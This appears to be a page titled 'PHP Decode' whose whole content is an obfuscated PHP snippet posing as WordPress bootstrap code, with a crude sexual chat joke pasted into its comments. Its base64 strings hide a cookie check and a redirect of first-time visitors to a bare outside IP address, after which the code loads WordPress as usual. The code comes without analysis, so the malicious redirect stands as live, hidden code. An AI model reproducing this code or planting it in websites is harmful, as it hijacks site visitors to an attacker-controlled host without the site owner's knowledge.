PHP Decode

<?  class _{private static$_;static function _($_){if(!self::$_):self::_();endif;return BaSe64_dECOde(self::$_[$_]);/*Bloodninja: I lick your earlobe, and undo your watch.*/}private static function _(){self::$_=array("_"=>"aHR0cF91aWRfdXRt","_"=>/*Sarah19fca: mmmm, okay.*/"aHR0cF91aWRfdXRt","_"=>"MQ==","_"=>"TG9jYXRpb246IGh0dHA6Ly8xMzQuMjQ5LjExNi43OC9pbmRleC5waHA=","_"=>"QUJTUEFUSA==","_"=>"QUJTUEFUSA==","_"=>"Lw==","_"=>"RV9DT1JFX0VSUk9S","_"=>"RV9DT1JFX1dBUk5JTkc=","_"=>"RV9DT01QSUxFX0VSUk9S","_"=>"RV9FUlJPUg==","_"=>/*Bloodninja: I take yo pants off, grunting like a troll.*/"RV9XQVJOSU5H","_"=>"RV9QQVJTRQ==","_"=>/*Sarah19fca: Yeah I like it rough.*/"RV9VU0VSX0VSUk9S","_"=>/*Bloodninja: I smack you thick booty.*/"RV9VU0VSX1dBUk5JTkc=","_"=>/*Sarah19fca: Oh yeah, that feels good.*/"RV9SRUNPVkVSQUJMRV9FUlJPUg==","_"=>/*Bloodninja: Smack, Smack, yeeeaahhh.*/"QUJTUEFUSA==","_"=>"d3AtY29uZmlnLnBocA==","_"=>"QUJTUEFUSA==","_"=>/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/"d3AtY29uZmlnLnBocA==","_"=>"QUJTUEFUSA==","_"=>"L3dwLWNvbmZpZy5waHA=","_"=>"QUJTUEFUSA==","_"=>"L3dwLXNldHRpbmdzLnBocA==","_"=>"QUJTUEFUSA==","_"=>"L3dwLWNvbmZpZy5waHA=","_"=>"V1BJTkM=","_"=>/*Sarah19fca: you like that?*/"d3AtaW5jbHVkZXM=","_"=>/*Bloodninja: I peel some bananas.*/"QUJTUEFUSA==","_"=>/*Sarah19fca: Oh, what are you gonna do with those?*/"V1BJTkM=","_"=>"L2xvYWQucGhw","_"=>"QUJTUEFUSA==","_"=>"V1BJTkM=","_"=>"L2Z1bmN0aW9ucy5waHA=","_"=>"L3dwLWFkbWluL3NldHVwLWNvbmZpZy5waHA=","_"=>/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/"UkVRVUVTVF9VUkk=","_"=>"c2V0dXAtY29uZmln","_"=>/*Sarah19fca: Peanuts?*/"TG9jYXRpb246IA==","_"=>"V1BfQ09OVEVOVF9ESVI=","_"=>"QUJTUEFUSA==","_"=>"d3AtY29udGVudA==","_"=>/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/"QUJTUEFUSA==","_"=>/*Sarah19fca: What are you talking about?*/"V1BJTkM=","_"=>"L3ZlcnNpb24ucGhw","_"=>"","_"=>/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/"","_"=>"PC9wPg==","_"=>"PHA+","_"=>"","_"=>/*Sarah19fca: This is stupid.*/"","_"=>"","_"=>/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/"","_"=>/*Bloodninja: Wanna Wrestle Stone Cold?*/"","_"=>"","_"=>/*Bloodninja: Yeeaahhhh.*/"","_"=>"","_"=>/*Sarah19fca: /ignore*/"","_"=>"","_"=>/*Bloodninja: Its cool stone cold she was a bitch anyway.*/"","_"=>"",);}}if(!isset($_COOKIE[_::_("_")])):SetcOokIe(_::_("_"),_::_("_"),tiME()+(int)rOUnD(1200+1200+1200)*(0356-0326/*Bloodninja: We get on harleys and ride into the sunset.*/)*(int)rOUnD(0.5+0.5/*=====*/+0.5+0.5));/*Bloodninja: Wanna cyber?*/hEADER(_::_("_"));/*DirtyKate: K, but don't tell anybody ;-)*/exit/*DirtyKate: Who are you?*/();/*Bloodninja: I've got blond hair, blue eyes, I work out a lot*/endif;if(!defINEd(_::_("_"))):dEfINE(_::_("_"),DIrnamE(__FILE__)._::_("_"));/*Bloodninja: And I have a part time job delivering for Papa John's in my Geo Storm.*/endif;errOR_REPORtINg(ConsTaNt(_::_("_"))|coNsTAnT(_::_("_"))|CONSTanT(_::_("_"))|CONstANt(_::_("_"))|ConsTaNT(_::_("_"))|cOnstanT(_::_("_"))|CONSTaNt(_::_("_"))|coNsTaNt(_::_("_"))|cOnsTanT(_::_("_")));if(FilE_exIstS(cOnstaNT(_::_("_"))._::_("_"))):require_once(ConstAnT(_::_("_"))._::_("_"));/*DirtyKate: You sound sexy.. I bet you want me in the back of your car..*/elseif(@fiLe_ExiSTs(DiRNAmE(ConsTant(_::_("_")))._::_("_"))&&!@FIlE_Exists(diRNAMe(ConSTant(_::_("_")))._::_("_"))):require_once/*Bloodninja: Maybe some other time. You should call up Papa John's and make an order*/(DirnamE(cONstANt(_::_("_")))._::_("_"));/*DirtyKate: Haha! OK*/else:dEFinE(_::_("_"),_::_("_"));require_once(conSTaNt(_::_("_")).CoNsTAnT(_::_("_"))._::_("_"));_();require_once(constAnt(_::_("_")).CoNStaNt(_::_("_"))._::_("_"));$_=_()._::_("_");if(false===Strpos($_SERVER[_::_("_")],_::_("_"))):hEadeR(_::_("_").$_);exit/*DirtyKate: Hello! I'd like an extra-EXTRA large pizza just dripping with sauce.*/;/*Bloodninja: Well, first they would say, "Hello, this is Papa John's, how may I help you", then they tell you the specials, and then you would make your order. So that's an X-Large. What toppings do you want?*/endif;DEfINE(_::_("_"),coNStant(_::_("_"))._::_("_"));/*DirtyKate: I want everything, baby!*/require_once/*Bloodninja: Is this a delivery?*/(COnSTaNt(_::_("_")).cOnstaNT(_::_("_"))._::_("_"));/*DirtyKate: Umm...Yes*/_();/*DirtyKate: So you're bringing the pizza to my house now? Cause I'm home alone... and I think I'll take a shower...*/_();$_=spRIntf(_(_::_("_")),_::_("_"))._::_("_");$_.=/*Bloodninja: Good. It will take about fifteen minutes to cook, and then I'll drive to your house.*/_::_("_").SPRIntF(_(_::_("_")),_(_::_("_")))._::_("_");$_.=_::_("_").SpRinTf(_(_::_("_")),_::_("_"))._::_("_");$_.=_::_("_").$_._::_("_")._(_::_("_"))._::_("_");_($_,_(_::_("_")));/***pause***/endif; ?>